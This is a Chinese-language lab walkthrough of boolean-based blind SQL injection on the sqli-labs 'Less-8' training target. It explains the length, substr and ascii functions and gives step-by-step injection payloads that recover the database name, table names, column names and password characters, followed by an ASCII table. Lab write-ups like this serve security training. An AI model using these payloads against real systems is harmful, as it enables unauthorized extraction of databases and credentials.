less-8(布尔盲注)关于布尔盲注简单解释一下布尔盲注的特质无回显、无报错只返回对错状态无回显、无报错只返回对错状比如说 库名第一个字符是 a 吗服务器对页面正常库名第二个字符是 b 吗服务器错页面异常布尔盲注不给你答案你只能通过页面反馈来确认对错一些知识点需要用到的一些函数如下length(字符串)作用返回字符串的长度用途猜库名、表名、字段名、数据的长度例如length(database()) → 库名长度 length(user()) → 用户名长度substr(字符串, 起始位置, 截取长度)作用截取字符串中的某一位盲注的固定用法substr(字符串, N, 1)N 第几位1 只截 1 个字符例如substr(database(),1,1) → 取库名第 1 位 substr(admin,2,1) → 取 dascii(字符)作用把字符转成 ASCII 数字例如ascii(a) → 97 ascii(1) → 49 ascii(z) → 122这些是在布尔盲注会用到的一些函数其他涉及的我在前面的文章中进行过讲解感兴趣的可以去看前面的文章操作流程由于我们在选界面已经知道是布尔盲注了并且闭合方式为单引号那么我们要先验证验证布尔盲注先进行基础的真假判断注入得到一个正常界面?id1 and 11 --再注入发现页面异常了那这个就是典型的布尔盲注了?id1 and 12 --猜数据库名的长度注入页面显示异常说明数据库长度不是5?id1 and (length(database()))5 --我后续是把5改成678进行了尝试最后在8的时候页面正常显示了说明数据库长度是8中间的67不再进行示范注入?id1 and (length(database()))8 --猜数据库名称注入正常反馈说明数据库第一个字符是s?id1 and ascii(substr(database(),1,1))115 --注入页面 正常反馈说明第二个字母是e?id1 and ascii(substr(database(),2,1))101 --注入页面反馈正常说明第三个字符是c?id1 and ascii(substr(database(),3,1))99 --注入页面反馈正常说明第四个字符是u?id1 and ascii(substr(database(),4,1))117 --注入页面反馈正常说明第五个字符是r?id1 and ascii(substr(database(),5,1))114 --注入页面反馈正常说明第六个字符是i?id1 and ascii(substr(database(),6,1))105 --注入页面反馈正常说明第七个字符是t?id1 and ascii(substr(database(),7,1))116 --注入页面反馈正常说明第八个字符是y?id1 and ascii(substr(database(),8,1))121 --那么我们可以得知数据库名称是security爆表名依旧是需要猜注入异常显示说明第一个表名长度不是5?id1 and length((select table_name from information_schema.tables where table_schemasecurity limit 0,1))5 --注入页面反馈正常说明第一个表名长度是6?id1 and length((select table_name from information_schema.tables where table_schemasecurity limit 0,1))6 --猜表名的每一位注入示例如下因为太过麻烦费时间这里我不一一演示了注入语句中的ASCII值需要师傅们灵活变通?id1 and ascii(substr((select table_name from information_schema.tables where table_schemasecurity limit 0,1),1,1))97 --在之前的靶场通关中我们已经知道了表名是users那我们就进行长度确认注入说明表名确实是users?id1 and length((select table_name from information_schema.tables where table_schemasecurity limit 3,1))5 --爆字段师傅们可以根据这个进行尝试我这里不做过多赘述和示例了?id1 and length((select column_name from information_schema.columns where table_nameusers limit 0,1))8 --?id1 and ascii(substr((select column_name from information_schema.columns where table_nameusers limit 0,1),1,1))117 --爆数据注入这个是猜数据第一个字符是什么68是d?id1 and ascii(substr((select password from users limit 0,1),1,1))68 --然后师傅们可以根据我这个语句一个一个试进行数据的脱库小tipsASCII 常用的如下数字 0-948-57大写字母 A-Z65-90小写字母 a-z97-122ASCII码表0-127ASCII字符ASCII字符ASCII字符ASCII字符32空格48065A97a33!49166B98b3450267C99c35#51368D100d36$52469E101e37%53570F102f3854671G103g3955772H104h40(56873I105i41)57974J106j42*58:75K107k4359;76L108l44,6077M109m45-6178N110n46.6279O111o47/63?80P112p6481Q113q82R114r83S115s84T116t85U117u86V118v87W119w88X120x89Y121y90Z122z91[123{92\124|93]125}94^126~95_在进行布尔盲注的时候一定要先进行真假条件的判断以及闭合方式的判断在布尔盲注中页面的反馈确实是非常重要的另外布尔盲注好麻烦。我讨厌布尔盲注。